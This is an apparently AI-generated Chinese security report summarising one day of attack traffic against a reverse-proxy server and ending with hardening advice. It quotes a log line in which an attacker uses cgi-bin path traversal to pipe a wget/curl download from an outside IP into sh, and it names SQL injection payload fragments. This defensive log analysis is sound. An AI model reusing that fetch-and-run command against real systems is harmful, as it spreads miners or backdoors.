📌 总体概述
该日志记录了一台 HTTPS反向代理服务器 的详细活动。服务器托管 simcommander.com、lian11.com、guomaodian.com 等多个域名。在短短一天内，服务器遭受了来自全球的 大规模漏洞扫描、SQL注入、命令执行及协议探测攻击，同时也存在正常用户与搜索引擎爬虫的访问。
🔥 关键发现
路径遍历（/.env, /wp-admin）、配置泄露（/actuator）、CGI探针等高频出现。
复杂payload如 union select+sys.fn_sqlvarbasetostr、WAITFOR DELAY 多次出现。
典型远程命令执行：POST /cgi-bin/../../../../bin/sh 试图下载恶意脚本。
SMB、RDP、Kerberos、Redis、Memcached 等二进制握手包发向443端口。
📊 流量分类统计
| 类别 | 特征 | 典型行为 / 代表IP |
|---|---|---|
| ✅ 正常用户访问 | 请求 .html/.css/.js/.png，返回200/304 | 180.79.209.181 (中国北京) 多次浏览 |
| 🕷️ 搜索引擎爬虫 | User-Agent 含 Googlebot, Baiduspider, YandexBot, AhrefsBot, ClaudeBot | 爬取 robots.txt 及页面 |
| 🔬 安全扫描器/研究 | zgrab, Nmap, Censys, Palo Alto, RecordedFuture | 162.216.149.223 (Palo Alto) 167.94.138.187 (Censys) |
| ⚠️ 漏洞扫描/攻击 | 请求 /.env, /wp-admin/, /actuator, /_profiler/phpinfo | 34.158.168.101 (扫描.env) 195.178.110.190 |
| 💥 SQL注入攻击 | URL包含 UNION SELECT, AND SLEEP(), WAITFOR DELAY | 172.245.155.97 (密集SQLi探测) |
| 👾 命令注入/RCE | POST /cgi-bin/../../../../bin/sh + base64/明文 | 69.5.20.239 159.65.119.52 |
| 🔄 协议违规/非HTTP | OPTIONS / RTSP/1.0, JRMI, HELP, 二进制包 | 121.40.172.177 (RDP/SMB/Kerberos等) |
🚨 值得关注的事件
- 180.79.209.181 (中国北京) 正常用户 —— 多次访问 lian11.com / simcommander.com，正确使用缓存头
If-None-Match，真实浏览器特征明显。 - 172.245.155.97 (美国) 集中攻击 —— 在极短时间内对 lian11.com 发起数十次请求，包含 WordPress、ThinkPHP、泛微OA、大量SQL注入和路径遍历，是一次高度集中的漏洞扫描。
- 34.158.168.101 195.178.110.190 .env 扫描潮 —— 多个IP同时请求
/.env，试图窃取环境变量中的敏感密钥。 - 121.40.172.177 (中国) 异常协议探测 —— 发送 RDP、SMB、Kerberos、Oracle、PostgreSQL、Redis、Memcached、SIP 等数十种非HTTP握手数据，可能为僵尸网络测绘节点。
- 204.76.203.8 (德国) WebDAV 扫描 —— 规律性发起
GET /后紧接PROPFIND /，自动化探测 WebDAV 漏洞。 - 47.92.193.95 / 47.97.103.223 (阿里云) Nmap 扫描 —— 使用
Nmap Scripting Engine用户代理请求/sdk、/evox/about、/HNAP1等，全面探测服务。 - 116.76.215.110 ✅ 黑名单生效 —— 服务器明确拦截：“ip in blacklist and being fucked...”，证明内置防御机制成功触发。
📋 攻击者手法总结
🐚 命令注入
攻击者尝试通过 cgi-bin 路径穿越执行 /bin/sh，下载外部恶意脚本 178.16.55.224/sh，典型挖矿/僵尸网络行为。
🗃️ SQL 注入
使用 extractvalue、updatexml、WAITFOR DELAY、UNION ALL SELECT 等高级盲注/显错手法，目标明确。
🌐 非Web探测
大量针对 443 端口的非HTTP请求（SMB/RDP/Kerberos/Redis）表明攻击者在寻找错误配置的隧道或脆弱内部服务。
🧾 结论与建议
这份日志清晰揭示了一个公网服务器所面临的真实、持续且复杂的威胁环境。一天之内，服务器遭遇了从简单扫描到复杂链式攻击的完整攻击链。系统内置的黑名单机制拦截了部分威胁，但自动化攻击仍占绝大多数。
- 持续更新与补丁： 确保 Nginx/Apache、PHP、中间件及所有Web应用（如WordPress, ThinkPHP）均为最新安全版本。
- 强化访问控制： 对
/.env、/wp-admin、/actuator等敏感路径实施IP白名单或强认证。 - 部署WAF： 使用Web应用防火墙拦截SQL注入、命令注入及路径遍历，同时基于IP信誉阻断扫描器（如Censys, zgrab）。
- 最小化原则： 关闭不必要的WebDAV (
PROPFIND) 及其他非必要HTTP扩展。 - 监控与自动响应： 对短时高频攻击IP（如
172.245.155.97）设置实时告警并自动添加至黑名单。 - 离线备份： 保持自动化异地备份，以便在极端入侵场景下快速恢复。
📌 原始日志节选： “2026-02-25 18:58:35 __HttpsTransportHandler id:0x19c94736293 69.5.20.239 -> 127.0.0.1 Host: 60.205.137.188:443
POST /cgi-bin/../../../../../../../../../../bin/sh ... (wget --no-check-certificate -qO- https://178.16.55.224/sh || curl -sk ...) | sh”
—— 此为典型的无文件挖矿/后门下载攻击。
📌 日志中 185.12.59.117 反复请求 /Dr0v，162.216.149.223 明确标记为 Palo Alto Networks 扫描器。
📊 本报告基于原始日志约 2.8 万行数据归纳，覆盖超过 230 个独立 IPv4 地址。
报告生成时间：2026-03-13 · 由 AI 分析引擎生成